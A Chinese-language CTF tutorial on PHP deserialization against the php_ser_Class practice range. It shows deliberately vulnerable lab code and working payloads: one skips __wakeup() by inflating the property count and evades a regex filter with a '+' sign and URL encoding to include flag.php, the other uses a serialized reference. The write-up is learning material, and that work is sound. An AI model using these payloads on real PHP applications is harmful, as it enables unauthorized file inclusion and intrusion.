Web渗透—PHP反序列化????????课程学习分享(课程非本人制作,仅提供学习分享)
靶场下载地址:GitHub - mcc0624/php_ser_Class: php反序列化靶场课程,基于课程制作的靶场
漏洞产生原因:
????????如果存在__wakeup()方法,调用unserilize()方法前则先调用__wakeup()方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时,会跳过__wakeup()的执行
漏洞产生版本:
????????PHP5<5.6.25
????????PHP7<7.0.10
示例:
O:4:"test":2:{s:2:"v1";s:6:"benben";s:2:"v2";s:3:"123";}
O:4:"test":3:{s:2:"v1";s:6:"benben";s:2:"v2";s:3:"123";}
成员属性个数值为3,但后面实际只有v1和v2两个成员属性,此时可以绕过__wakeup()方法,不触发该方法
<?php
class?secret{
var?$file='index.php';
public?function?__construct($file){
$this->file=$file;
}
function?__destruct(){ //destruct()在反序列化之后触发
include_once($this->file);
echo?$flag;
}
function?__wakeup(){ //wakup()在反序列化之前触发
$this->file='index.php';
}
}
$cmd=$_GET['cmd'];
if?(!isset($cmd)){
highlight_file(__FILE__);
}else{
if?(preg_match('/[oc]:\d+:/i',$cmd)){ //判断O后面的是否为数字
echo?"Are?you?daydreaming?";
}else{
unserialize($cmd);
}
}
//sercet?in?flag.php
?>
思路:
1)给$file赋值为”flag.php”,并创造序列化字符
2)把成员属性数量写成2,绕过__wakeup()魔术方法
3)绕过if判断语句,在数字6前面加一个”+”符号,并进行url加密
构造序列化字符:
编写代码构造序列化字符,并利用漏洞绕过__wakeup()魔术方法
<?php
class secret{
var $file='flag.php';
}
echo serialize(new secret());
?>
O:6:"secret":1:{s:4:"file";s:8:"flag.php";}
O:6:"secret":2:{s:4:"file";s:8:"flag.php";}
绕过if判断语句:
通过审计代码发现对传入序列化字符进行了过滤(判断O后是否为字符,需要判断为否才能绕过)
将得到的序列化字符数字前加"+"符号,并进行URL加密
O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}
O%3A%2B6%3A%22secret%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D
通过cmd参数进行传参,得到flag
?ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}
<?php
include("flag.php");
class?just4fun?{
var?$enter;
var?$secret;
}
if?(isset($_GET['pass']))?{
$pass?=?$_GET['pass'];
$pass=str_replace('*','\*',$pass); //当通过pass传入"*"后会被替换为"/*"
}
$o?=?unserialize($pass);
if?($o)?{
$o->secret?=?"*";
if?($o->secret?===?$o->enter) //判断enter全等于secret
echo?"Congratulation!?Here?is?my?secret:?".$flag;
else
echo?"Oh?no...?You?can't?fool?me";
}
else?echo?"are?you?trolling?";
?>
目的:
构造序列化字符串,让$enter的值全等于$secrt
思路:
通过构造$pass的值pass使$enter="*";但$o为反序列化$pass后的对象,且赋值$enter="*";
可以构造序列化字符串,让$enter的值引用$enter的值
构造序列化字符:
让$enter的值引用$enter的值
<?php
class?just4fun?{
var?$enter;
var?$secret;
}
$a = new just4fun();
$a->enter = &$a->secret; //加&符(&引用),让enter的值永远等于secret的值
echo serialize($a);
?>
O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}???????? //R代表引用,2代表enter
通过pass参数传入题目得到flag
?ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}